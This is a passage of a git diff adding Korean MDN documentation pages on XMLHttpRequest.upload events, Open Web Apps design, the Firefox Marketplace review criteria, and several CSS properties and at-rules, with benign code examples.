+   <td>{{SpecName('XMLHttpRequest')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/upload/index.html b/files/ko/web/api/xmlhttprequest/upload/index.html
new file mode 100644
index 0000000000..329920fc68
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/upload/index.html
@@ -0,0 +1,88 @@
+---
+title: XMLHttpRequest.upload
+slug: Web/API/XMLHttpRequest/upload
+translation_of: Web/API/XMLHttpRequest/upload
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">{{domxref("XMLHttpRequest")}} <code>upload</code> 프로퍼티는 업로드 진행 상황을 모니터링 할 수 있는 {{domxref("XMLHttpRequestUpload")}} 객체를 반환합니다.</span> 불투명한 객체(opaque object)이지만  {{domxref("XMLHttpRequestEventTarget")}} 이기도 하기 때문에 이벤트 리스너를 연결하여 프로세스를 추적할 수 있습니다.</p>
+
+<p>upload 이벤트에서 다음 이벤트가 트리거되어 업로드를 모니터링하는데 사용할 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Event</td>
+   <td class="header">Event listener</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>{{event("loadstart")}}</td>
+   <td>{{domxref("XMLHttpRequest.onloadstart", "onloadstart")}}</td>
+   <td>업로드가 시작되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{event("progress")}}</td>
+   <td>{{domxref("XMLHttpRequest.onprogress", "onprogress")}}</td>
+   <td>지금까지 진행된 상태를 정기적으로 제공합니다.</td>
+  </tr>
+  <tr>
+   <td>{{event("abort")}}</td>
+   <td>{{domxref("XMLHttpRequest.onabort", "onabort")}}</td>
+   <td>업로드가 중단되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("XMLHttpRequest.onerror", "onerror")}}</td>
+   <td>에러로 인해 업로드에 실패했습니다.</td>
+  </tr>
+  <tr>
+   <td>{{event("load")}}</td>
+   <td>{{domxref("XMLHttpRequest.onload", "onload")}}</td>
+   <td>업로드가 성공적으로 완료되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{event("timeout")}}</td>
+   <td>{{domxref("XMLHttpRequest.ontimeout", "ontimeout")}}</td>
+   <td>{{domxref("XMLHttpRequest.timeout")}}에 명시되어 있는 시간 간격 내에 응답이 도착하지 않아, 업로드 시간이 초과되었습니다.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadend")}}</td>
+   <td>{{domxref("XMLHttpRequest.onloadend", "onloadend")}}</td>
+   <td>업로드가 완료되었습니다. 이 이벤트는 성공과 실패를 구분하지 않고 결과에 관계없이 업로드가 끝나면 전송됩니다. 이 이벤트 발생 이전에는 전송이 종료된 이유를 나타내기 위해 <code>load</code>, <code>error</code>, <code>abort</code>, <code>timeout</code> 중 하나를 전달합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.upload")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/File_Handle_API">FileHandle API</a></li>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li>
+</ul>
diff --git a/files/ko/web/apps/design/index.html b/files/ko/web/apps/design/index.html
new file mode 100644
index 0000000000..23bba7ac10
--- /dev/null
+++ b/files/ko/web/apps/design/index.html
@@ -0,0 +1,35 @@
+---
+title: 열린 웹 응용프로그램들 설계하기
+slug: Web/Apps/Design
+tags:
+  - Apps
+  - Beginner
+  - CSS
+  - Design
+  - Examples
+  - Guide
+  - Layout
+  - Mobile
+  - NeedsTranslation
+  - Styleguides
+  - TopicStub
+  - UX
+  - Usability
+  - Web Development
+  - patterns
+translation_of: Archive/Apps/Design
+---
+<div class="summary">
+<p>In this section, we'll introduce design and UX principles to incorporate into your Open Web Apps. In an effort to help you kickstart your project, we have included links to relevant examples and style guides.</p>
+</div>
+
+<h2 id="일반_웹_앱_디자인">일반 웹 앱 디자인</h2>
+
+<p>The items under this section apply generally to Web app design.</p>
+
+<dl>
+ <dt><a href="/ko/Apps/Design/Planning">계획하기</a></dt>
+ <dd>The articles in this section provide information on planning a successful Web app, including high level planning ideas and general design principles.</dd>
+ <dt><a href="/en-US/Apps/Design/UI_layout_basics">UI 배치의 기본</a></dt>
+ <dd>These articles provide guides and theory behind implementing effective layouts for Open Web Apps, including responsive design, flexible boxes, etc.</dd>
+</dl>
diff --git a/files/ko/web/apps/publishing/marketplace_review_criteria/index.html b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html
new file mode 100644
index 0000000000..d6627ca4fd
--- /dev/null
+++ b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html
@@ -0,0 +1,77 @@
+---
+title: Marketplace 리뷰 가이드
+slug: Web/Apps/Publishing/Marketplace_review_criteria
+translation_of: Archive/Mozilla/Marketplace/Publishing/Marketplace_review_criteria
+---
+<p>이 문서에서는 Firefox Marketplace를 통해 배포되는 앱이 충족해야 할 일련의 요구 사항을 설명합니다. 이러한 요건은 Marketplace에서 배포되는 앱 개발자 및 사용자 양쪽의 요구에 대한 균형을 맞추도록 설계되어 있습니다. 개발자는 앱을 사용한 비즈니스를 성립시키기 위해 신뢰할 만한 균형을 가지고, 일관성이 있고 너무 엄격하지 않은 조건을 요구하고 있습니다. 한편 사용자는 앱이 안전하고, 자신의 단말기에서 동작하는 설명대로 동작한다는 보증을 요구하고 있습니다. 이하에서 설명하는 앱의 요건은 이러한 요구의 균형을 목적으로 하고 있습니다.</p>
+<p>앱을 검토(Review)하는 부분과 그렇지 않은 부분에 대해 Mozilla의 생각은 다음과 같습니다.</p>
+<ul>
+  <li>평가 기준은 공평하고, 배려를 가진 일관성 있는 방법으로 적용됩니다. 앱의 검토 프로세스는 문지기(Gatekeeper) 같은 존재가 되는 것을 의도하지 않고, 오히려 개발자의 성공을 돕기 위해 피드백을 제공하고 신뢰할 수 있는 접점에 있다고 생각합니다.</li>
+  <li>평가 검토 담당자는 품질 보증 팀이 아닙니다. 검토 프로세스 안에서 누군가가 앱 매니 페스트를 살펴 보고, 일반 사용자와 똑같이 앱의 사용법을 습득하는 데 시간을 보내게 됩니다.</li>
+  <li>앱이 검토를 통과하지 못한 경우, 문제와 재현 방법의 알기 쉬운 설명이 개발자에 제공되며, 검토자는 가능하면 관련 기술 지원 자료에 대한 링크를 제공함으로써 개발자를 올바른 방향으로 이끌어 바꾸어할 변경 사항에 대해 권장을 하거나 해야 합니다.</li>
+  <li>검토 담당자는 앱 "외형"에 대한 판단은 하지 않고 앱 "동작"에 대해서만 확인합니다. 예를 들면, 오렌지의 배경 색에 빨간 글씨를 올린 단락을 포함한 앱이 있었다고 해도 못생겼다고 앱을 거절하지 않습니다. 만일 가독성에 문제가 있으면 거절될 가능성도 있습니다.</li>
+  <li>우리는 항상 "예상 외의 결과를 내리지 않는다"라는 원칙을 지킵니다. 앱을 거절해야 할지 확신이 없는 상태에서 검토자는 결정을 내리기 "전에" 개발자에게 질문합니다. 앱은 개발자가 제어할 수 없는 플랫폼 문제로 인해 (고의로) 거절되지 않습니다. 다만, 앱이 아예 동작하지 않는 경우, 승인을 보류할 가능성은 있습니다.</li>
+</ul>
+<h2 id="Security" name="Security">보안</h2>
+<p>앱의 보안 아키텍처에 관한 설명은<a href="https://wiki.mozilla.org/Apps/Security"> https://wiki.mozilla.org/Apps/Security</a>에서 볼 수 있습니다.</p>
+<ul>
+  <li>앱 매니 페스트는 앱과 같은 위치(Same Origin)에서 공개 해야 합니다.</li>
+  <li>앱 매니 페스트는<code> application/x-web-app-manifest+json</code>의<code>Content-Type </code>헤더에서 공개해야 합니다.</li>
+  <li>앱은 리디렉션이나 인라인 프레임을 사용해 개발자가 사용을 인정 받지 않은 내용을 가져와서는 안됩니다.</li>
+  <li>요청되는 사용 권한은 사용 권한이 필요한 이유와 함께 앱 매니 페스트에 명기되어야 합니다.</li>
+</ul>
+<h2 id="Privacy" name="Privacy">개인 정보</h2>
+<ul>
+  <li>등록 시 개발자는 개인 정보 정책의 URL을 입력해야 하나, 개인 정보 보호 정책의 형식과 내용에 대한 요구 사항이 없습니다. <a href="https://github.com/flamsmark/privacy-policy-template">개인 정보 정책 샘플</a>을 준비하고 있기 때문에 자유롭게 사용해 주십시오. Mozilla의 <a href="/ko/docs/Privacy_policies">개인 정보 정책 가이드 라인</a>도 함께 살펴 보세요.</li>
+</ul>
+<h2 id="Content" name="Content">콘텐츠</h2>
+<ul>
+  <li>아래 콘텐츠 가이드 라인에 반하는 앱은 허용하지 않습니다. 가이드 라인에 저촉될지 아슬아슬한 상태라고 생각하려면 앱의 등록 준비가 완료되기 전이라도 검토 팀에 명확한 판단을 구하세요. 우리는 개발자들이 바로 거절될 콘텐츠의 개발에 시간을 투자하는 것보다 올바른 방향성을 유지하기 지원하고 싶습니다.</li>
+  <li>브라질에서 게임을 배포할 경우 개발자는 DEJUS에 의한 평가 기준을 의뢰해 그 결과를<a href="mailto:apps-reviewers@mozilla.org?subject=DEJUS%20Rating"> apps-reviewers@mozilla.org</a>로 보내야 합니다.</li>
+  <li>Firefox Marketplace에 등록할 스크린 샷과 설명문은 앱에 대해 적절히 표현해야 합니다.</li>
+  <li>앱 매니 페스트의 <a href="/ko/docs/Web/Apps/Manifest#locales"><code>locale</code>키</a>는 앱이 대응하는 지역화와 일치하지 해야 합니다. 예를 들면 폴란드어의<code> locale</code>키를 설정하면 사용자는 폴란드어로 앱이 이용 가능하다고 기대합니다.</li>
+</ul>
+<h3 id="Content_guidelines" name="Content_guidelines">콘텐츠 가이드 라인</h3>
+<p>이 목록은 Firefox Marketplace에 부적절한 내용 유형을 설명한 것입니다. 이 항목은 확정적이 아니라 구체적인 것으로, 향후 업데이트될 수 있습니다. 응용 프로그램이 이러한 내용 가이드 라인에 반하는 것이 확인된 경우 Mozilla는 Firefox Marketplace에서 응용 프로그램을 즉시 삭제할 권리를 가지고 있습니다.</p>
+<ul>
+  <li>음란한 소재, 또는 성이나 폭력 묘사는 인정하지 않습니다.</li>
+  <li>지적 재산, 기타 소유권, 개인 정보,  초상권 등 타인의 권리를 침해하는 콘텐츠는 인정하지 않습니다.</li>
+  <li>Mozilla나 사용자에게 손해를 주는 것을 목적으로 한 콘텐츠(악성 코드, 바이러스, 스파이 웨어, 악성 프로그램 등)은 인정하지 않습니다.</li>
+  <li>불법 콘텐츠 또는 불법 행위를 조장하는 콘텐츠는 인정하지 않습니다.</li>
+  <li>허위 사실 정보를 주고 피싱 사기, 기타 개인 정보 절도를 목적으로 한 콘텐츠는 인정하지 않습니다.</li>
+  <li>도박 행위를 조장하는 콘텐츠는 인정하지 않습니다.</li>
+  <li>위법 또는 규제된 제품이나 서비스의 광고에 관련된 콘텐츠는 인정하지 않습니다.</li>
+  <li>아동을 착취하는 콘텐츠는 인정하지 않습니다.</li>
+  <li>연령, 성별, 인종, 민족, 국적, 신앙, 성적 지향, 장애, 지리적 위치, 기타 보호된 분류에 따라 인물이나 집단의 평판을 떨어뜨리거나 그것들에 대한 위협이 되거나 폭력을 유발하거나 편견을 조장하는 콘텐츠 또는 차별 발언에 해당하는 콘텐츠는 인정하지 않습니다.</li>
+  <li>사용자를 속여 구매 결정을 행하게 하는 콘텐츠는 인정하지 않습니다.</li>
+</ul>
+<h2 id="Functionality" name="Functionality">기능성</h2>
+<ul>
+  <li>앱의 기본적인 기능을 검토자가 실행할 수 있어야 합니다. 사소한 문제나 심각하지 않은 상태는 개발자에게 보고하지만, 이로 인해 앱의 승인을 막는 것은 아닙니다.</li>
+  <li>앱은 시스템 성능 및 안정성을 떨어뜨려서는 안됩니다.</li>
+</ul>
+<h2 id="Usability" name="Usability">사용성</h2>
+<ul>
+  <li>개발자는 대상 플랫폼에 레이아웃을 최적화할 충분한 작업을 수행합니다. 이 요건은 다음과 같은 분명한 문제를 막는 것을 목적으로 하고 있습니다.
+    <ul>
+      <li>모바일용으로 등록된 앱인데, 분명히 데스크탑용 사이트이다.</li>
+      <li>이용 가능한 화면 공간을 전혀 활용하고 있지 않다(예를 들면, 320x480 크기의 앱이 있으면, 태블릿의 화면 모퉁이에 위치하여 화면의 나머지 공간은 비어 있는 경우).</li>
+    </ul>
+  </li>
+  <li>앱은 독자적인 탐색 방법을 구현하고 브라우저의 UI나 하드웨어의 돌아오기 버튼에 의존해서는 안됩니다. 모든 단말기에 그런 기능이 있다고 할 수 없습니다.
+    <ul>
+      <li>예를 들면, 검토자가 앱에서 어딘가에 옮겨 제자리로 돌아갈 수 없는 경우가 있을수도 있습니다. 앱이 네이티브 앱에서 일반적인 버튼 바를 구현해야 한다는 뜻은 아닙니다.</li>
+      <li>주의: 기존 레거시 웹앱을 위해 Gaia "래퍼"가 개발 중입니다: <a href="https://github.com/mozilla-b2g/gaia/issues/2557">https://github.com/mozilla-b2g/gaia/issues/2557</a></li>
+    </ul>
+  </li>
+  <li>버튼이나 링크 등의 탐색 요소는 쉽게 클릭하거나 탭할 수 있어야 합니다.</li>
+</ul>
+<h2 id="Blocklisting_policy" name="Blocklisting_policy">차단 목록 추가 정책</h2>
+<p>우리는 원하지는 않지만, 노출된 앱이, 보안, 개인 정보, 콘텐츠 요건에 반하고 혹은 시스템이나 네트워크의 성능을 크게 저하시키는 것이 나중에 밝혀질 경우 그것을 Marketplace에서 제거("차단 목록"에 추가하는) 권리를 가지고 있습니다. 그러한 상황이 되었을 경우, 개발자는 앱이 차단 목록에 추가되기 전에 통보를 받고 뭔가 구체적 증거가 발견하지 않는 한 "착한 시민"으로 간주됩니다. 또한, 앱의 검토 팀은 무슨 일이 일어나는지를 전달해 문제를 해결하기 위한 충분한 지원을 제공합니다. 차단 목록에 추가가 인정되는 상황의 구체적인 예는 다음과 같은 것입니다.</p>
+<ul>
+  <li>피싱</li>
+  <li>스팸 행위</li>
+  <li>Puppy Pictures v1.0에서 Brutal Violence v1.0에 콘텐츠 수정(콘텐츠의 레이팅 기능이 구현되면 그것을 업데이트하지 않고 행하는 변경은 인정하지 않습니다)</li>
+  <li>앱의 대다수의 사용자에게 심각한 문제. 예를 들면 통화 성능 저하 시스템 재시작 유발, 데이터 소실 등. 앱이 그 원인임을 사용자가 인식하지 못해 단말의 재시작에 의해서도 해결하지 않습니다.</li>
+  <li>분산 서비스 거부(DDoS)공격 등 네트워크상에서의 공격에 이용되는 앱</li>
+</ul>
diff --git a/files/ko/web/css/-moz-image-region/index.html b/files/ko/web/css/-moz-image-region/index.html
new file mode 100644
index 0000000000..1bc12db1e6
--- /dev/null
+++ b/files/ko/web/css/-moz-image-region/index.html
@@ -0,0 +1,54 @@
+---
+title: '-moz-image-region'
+slug: Web/CSS/-moz-image-region
+tags:
+  - CSS
+  - CSS Property
+  - 'CSS:Mozilla Extensions'
+  - Non-standard
+translation_of: Web/CSS/-moz-image-region
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>XUL 요소와 가상요소들에 대하여 {{ Cssxref("list-style-image") }}  속성을 사용할때 이 속성은 전체이미지에서 사용되는 부분의 령역을 지정합니다.  이것은 요소들이 성능을 향상시키기 위해 같은 이미지의 서로다른 부분을 사용할수 있게 합니다.</p>
+
+<pre class="brush: css">/* Keyword value */
+-moz-image-region: auto;
+
+/* &lt;shape&gt; value */
+-moz-image-region: rect(0, 8px, 4px, 4px);
+
+/* Global values */
+-moz-image-region: inherit;
+-moz-image-region: initial;
+-moz-image-region: unset;</pre>
+
+<p> </p>
+
+<p>문법은 {{ Cssxref("clip") }}속성과 류사합니다. 4개의 값은 모두 이미지의 외쪽 웃모서리로부터 상대적입니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre>-moz-image-region: rect(<em>top</em>, <em>right</em>, <em>bottom</em>, <em>left</em>);</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre>#example-button {
+  /* display only the 4x4 area from the top left of this image */
+  list-style-image: url("chrome://example/skin/example.png");
+  -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+  /* use the 4x4 area to the right of the first for the hovered button */
+  -moz-image-region: rect(0px, 8px, 4px, 4px);
+}</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.-moz-image-region")}}</p>
diff --git a/files/ko/web/css/-webkit-line-clamp/index.html b/files/ko/web/css/-webkit-line-clamp/index.html
new file mode 100644
index 0000000000..1c08a3f70b
--- /dev/null
+++ b/files/ko/web/css/-webkit-line-clamp/index.html
@@ -0,0 +1,111 @@
+---
+title: '-webkit-line-clamp'
+slug: Web/CSS/-webkit-line-clamp
+tags:
+  - CSS
+  - CSS Property
+  - Non-standard
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/-webkit-line-clamp
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>-webkit-line-clamp</code></strong> CSS 속성은 {{Glossary("block container", "블록 컨테이너")}}의 콘텐츠를 지정한 줄 수만큼으로 제한합니다.</p>
+
+<p>{{cssxref("display")}} 속성을 <code>-webkit-box</code> 또는 <code>-webkit-inline-box</code>로, 그리고 {{cssxref("-webkit-box-orient")}} 속성을 <code>vertical</code>로 설정한 경우에만 동작합니다.</p>
+
+<p><code>-webkit-line-clamp</code>만 사용하는 경우, 말줄임표는 노출되나 넘친 콘텐츠가 숨겨지지 않으므로 대개 {{cssxref("overflow")}} 속성 또한 <code>hidden</code>으로 설정해야 합니다.</p>
+
+<p>앵커 요소에 적용한 경우 텍스트의 끝이 아니라 중앙에서 잘리는 경우도 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>:<code>-webkit-line-clamp</code>는 원래 WebKit이 구현했었으며 몇몇 문제점을 가지고 있으나 레거시 지원을 위해 표준화를 거쳤습니다. <a href="https://www.w3.org/TR/css-overflow-3/#propdef--webkit-line-clamp">CSS Overflow Module Level 3</a> 명세의 {{cssxref("line-clamp")}}가 <code>-webkit-line-clamp</code>를 대체하기 위해 정의된 속성입니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css notranslate">/* 키워드 값 */
+-webkit-line-clamp: none;
+
+/* &lt;integer&gt; 값 */
+-webkit-line-clamp: 3;
+-webkit-line-clamp: 10;
+
+/* 전역 값 */
+-webkit-line-clamp: inherit;
+-webkit-line-clamp: initial;
+-webkit-line-clamp: unset;
+</pre>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>콘텐츠를 자르지 않습니다.</dd>
+ <dt>{{cssxref("integer")}}</dt>
+ <dd>몇 줄 뒤에 콘텐츠를 자를지 지정합니다. 0보다 커야 합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문단_자르기">문단 자르기</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  In this example the &lt;code&gt;-webkit-line-clamp&lt;/code&gt; property is set to &lt;code&gt;3&lt;/code&gt;, which means the text is clamped after three lines.
+  An ellipsis will be shown at the point where the text is clamped.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 300px;
+  display: -webkit-box;
+  -webkit-box-orient: vertical;
+  -webkit-line-clamp: 3;
+  overflow: hidden;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("예제", "100%", "100")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Overflow", "#propdef--webkit-line-clamp", "-webkit-line-clamp")}}</td>
+   <td>{{Spec2("CSS3 Overflow")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.-webkit-line-clamp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/line-clampin/">Line Clampin’ (Truncating Multiple Line Text)</a></li>
+ <li>{{cssxref("line-clamp")}}</li>
+</ul>
diff --git a/files/ko/web/css/-webkit-overflow-scrolling/index.html b/files/ko/web/css/-webkit-overflow-scrolling/index.html
new file mode 100644
index 0000000000..ef195eed02
--- /dev/null
+++ b/files/ko/web/css/-webkit-overflow-scrolling/index.html
@@ -0,0 +1,86 @@
+---
+title: '-webkit-overflow-scrolling'
+slug: Web/CSS/-webkit-overflow-scrolling
+tags:
+  - CSS
+  - CSS Property
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/-webkit-overflow-scrolling
+---
+<div>{{CSSRef}} {{Non-standard_header}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>-webkit-overflow-scrolling</code></strong> 속성은 터치 단말기에서 주어진 요소의 모멘텀 기반 스크롤 활성화 여부를 결정합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="값">값</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>"일반적"인 스크롤을 사용합니다. 즉 손가락을 터치 화면에서 떼는 순간 스크롤이 멈춥니다.</dd>
+ <dt><code>touch</code></dt>
+ <dd>모멘텀 기반 스크롤을 사용합니다. 스크롤 제스쳐가 끝나고 손가락을 터치 화면에서 떼어도 잠시 스크롤이 지속됩니다. 지속 속도와 시간은 스크롤 제스쳐의 세기에 따라 달라집니다. 또한 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroll-touch"&gt;
+  &lt;p&gt;
+    This paragraph has momentum scrolling
+  &lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="scroll-auto"&gt;
+  &lt;p&gt;
+    This paragraph does not.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 100%;
+  overflow: auto;
+}
+
+p {
+  width: 200%;
+  background: #f5f9fa;
+  border: 2px solid #eaf2f4;
+  padding: 10px;
+}
+
+.scroll-touch {
+  -webkit-overflow-scrolling: touch; /* Lets it scroll lazy */
+}
+
+.scroll-auto {
+  -webkit-overflow-scrolling: auto; /* Stops scrolling immediately */
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<p>명세에 속하지 않습니다. Apple의 <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/css/property/-webkit-overflow-scrolling">Safari CSS Reference에 설명이 있습니다</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.-webkit-overflow-scrolling")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://css-tricks.com/snippets/css/momentum-scrolling-on-ios-overflow-elements/">CSS-Tricks article with demo</a></li>
+</ul>
diff --git a/files/ko/web/css/@charset/index.html b/files/ko/web/css/@charset/index.html
new file mode 100644
index 0000000000..6cdeb08fb5
--- /dev/null
+++ b/files/ko/web/css/@charset/index.html
@@ -0,0 +1,78 @@
+---
+title: '@charset'
+slug: Web/CSS/@charset
+tags:
+  - At-rule
+  - CSS
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/@charset
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong><code>@charset</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule" title="At-rule">at-규칙</a>은 스타일 시트에 쓰이는 문자 인코딩을 지정합니다. 스타일 시트의 첫 번째 요소여야 하며 어떤 문자가 선행되지 않아야 합니다; <a href="/ko/docs/Web/CSS/Syntax#nested_statements" title="nested_statements">중첩된 문</a>이 아니기에, <a href="/ko/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="At-rule#Conditional_Group_Rules">조건부 그룹 at-규칙</a> 내에 사용될 수 없습니다. 여러 <code>@charset</code> at-규칙이 정의된 경우, 첫 번째 것만 사용되고 HTML 요소의 <code>style</code> attribute 또는 HTML 페이지의 문자 집합과 관련 있는 {{ HTMLElement("style") }} 요소 내에서 사용될 수 없습니다.</p>
+
+<pre class="brush: css">@charset "utf-8";
+</pre>
+
+<p>이 at-규칙은 {{ cssxref("content") }}처럼 일부 CSS 속성(property)에서 비 ASCII 문자를 사용할 때 유용합니다.</p>
+
+<p>스타일 시트의 문자 인코딩을 정의하는 여러 방법이 있기에, 브라우저는 다음과 같은 순서로 다음 방법을 시도합니다( 그리고 하나가 결과를 산출하자 마자 곧 멈춥니다):</p>
+
+<ol>
+ <li>파일의 시작 부분에 놓이는 <a href="http://en.wikipedia.org/wiki/Byte_order_mark" title="Byte_order_mark">Unicode byte-order</a> 문자값.</li>
+ <li><code>Content-Type:</code> HTTP 헤더의 <code>charset</code> attribute 또는 스타일 시트를 제공하는 데 쓰이는 프로토콜 등가물에 주어진 값.</li>
+ <li><code>@charset</code> CSS at-규칙.</li>
+ <li>참조하는 문서에 의해 정의된 문자 인코딩 사용: {{ HTMLElement("link") }} 요소의 <code>charset</code> attribute. 이 메서드는 HTML5에서 폐기(obsolete)되어 사용해서는 안됩니다.</li>
+ <li>문서가 UTF-8이라고 가정</li>
+</ol>
+
+<h2 id="구문">구문</h2>
+
+<pre>@charset "UTF-8";
+@charset 'iso-8859-15';
+</pre>
+
+<p>where:</p>
+
+<dl>
+ <dt style="margin: 0 40px;"><em>charset</em></dt>
+ <dd style="margin: 0 40px;">사용되는 문자 인코딩을 나타내는 {{cssxref("&lt;string&gt;")}}입니다. <a href="http://www.iana.org/assignments/character-sets">IANA-registry</a>에 정의된 웹 안전 문자 인코딩의 이름이어야 합니다. 여러 이름이 인코딩과 관련된 경우, <em>preferred</em>로 표시된 것만 사용되어야 합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">@charset "UTF-8";       /* 스타일 시트의 인코딩을 Unicode UTF-8로 설정 */
+@charset 'iso-8859-15'; /* 스타일 시트의 인코딩을 Latin-9 (서유럽어, euro sign 있는) 로 설정 */
+ @charset "UTF-8";      /* 무효한, at-규칙 앞에 문자(공백)가 있음 */
+@charset UTF-8;         /* 무효한, ' 또는 " 없는 문자집합 CSS {{cssxref("&lt;string&gt;")}}이 아님 */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
